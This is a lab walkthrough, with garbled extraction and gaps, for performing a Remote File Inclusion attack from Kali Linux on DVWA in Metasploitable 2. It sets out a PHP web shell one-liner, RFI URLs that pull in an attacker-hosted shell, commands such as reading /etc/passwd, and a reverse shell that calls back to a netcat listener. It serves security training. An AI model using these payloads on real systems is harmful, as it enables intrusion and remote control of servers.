Lab Instructions: Remote File Inclusion (RFI) Attack Using Metasploitable and Kali Linux
Lab Instructions: Remote File Inclusion (RFI) Attack Using Metasploitable and Kali Linux
In this lab, we will perform a Remote File Inclusion (RFI) attack on a vulnerable web
application running on Metasploitable 2 using Kali Linux. RFI allows attackers to include
remote files, often leading to remote code execution (RCE). This lab simulates the process of
identifying and exploiting an RFI vulnerability to upload a malicious PHP shell and gain
access to the Metasploitable machine.
Prerequisites
Copy code
ifconfig
php
Copy code
ping <Metasploitable_IP>
Example:
Copy code
ping 192.168.1.105
Example:
arduino
Copy code
http://192.168.1.105
makefile
Copy code
Username: admin
Password: password
ruby
Copy code
http://192.168.1.105/dvwa/vulnerabilities/fi/?page=include.php
ruby
Copy code
http://192.168.1.105/dvwa/vulnerabilities/fi/?page=http://
<Kali_IP>/shell.txt
o Replace <Kali_IP> with your Kali machine’s IP address. For now, this will
result in an error as we have not set up the malicious file yet.
bash
Copy code
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
o This PHP file will allow you to execute system commands on the
Metasploitable server by passing the cmd parameter.
2. Start the Apache Web Server on Kali:
o Kali Linux comes with the Apache web server pre-installed. Start the web
server to host your malicious shell:
bash
Copy code
service apache2 start
arduino
Copy code
http://<Kali_IP>/shell.php
o You should see a blank page. This indicates that the PHP shell is hosted
successfully.
ruby
Copy code
http://192.168.1.105/dvwa/vulnerabilities/fi/?page=http://
<Kali_IP>/shell.php&cmd=id
o This will execute the id command on the Metasploitable server and return
information about the user running the web application.
2. Execute Other Commands:
o You can replace the cmd=id part of the URL with other system commands
like:
ruby
Copy code
http://192.168.1.105/dvwa/vulnerabilities/fi/?page=http://
<Kali_IP>/shell.php&cmd=uname -a
This command will provide information about the server's operating system.
o Example commands to run:
cat /etc/passwd – To read the password file.
whoami – To check which user the web server is running as.
bash
Copy code
wget https://raw.githubusercontent.com/pentestmonkey/php-
reverse-shell/master/php-reverse-shell.php
o Modify the reverse shell to point to your Kali Linux IP and a listening port:
php
Copy code
$ip = '<Kali_IP>';
$port = 1234;
bash
Copy code
nc -lvnp 1234
ruby
Copy code
http://192.168.1.105/dvwa/vulnerabilities/fi/?page=http://
<Kali_IP>/php-reverse-shell.php
o Once the shell is triggered, you should see a connection from Metasploitable
to your Kali machine in the Netcat listener.
Step 7: Clean Up
bash
Copy code
service apache2 stop
2. Terminate the Metasploitable Machine after completing the lab to avoid keeping
vulnerable services exposed.
Conclusion
In this lab, you successfully performed a Remote File Inclusion (RFI) attack, uploaded a
malicious PHP shell, and executed system commands on a vulnerable Metasploitable 2
machine using Kali Linux. This is a common web application vulnerability that demonstrates
the importance of input validation and secure coding practices to avoid the inclusion of
arbitrary files.
Mitigation